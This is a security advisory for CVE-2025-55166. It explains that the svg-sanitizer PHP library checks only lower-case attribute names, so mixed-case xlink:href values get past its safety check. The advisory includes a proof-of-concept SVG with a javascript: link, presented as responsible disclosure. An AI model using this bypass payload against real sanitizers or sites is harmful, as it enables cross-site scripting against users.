CVE-2025-55166 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.
provided by azizk
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:hReF="javascript:alert(document.domain)">
<rect width="100" height="50" fill="red"></rect>
<text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
</a>
</svg>
The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <[email protected]>.
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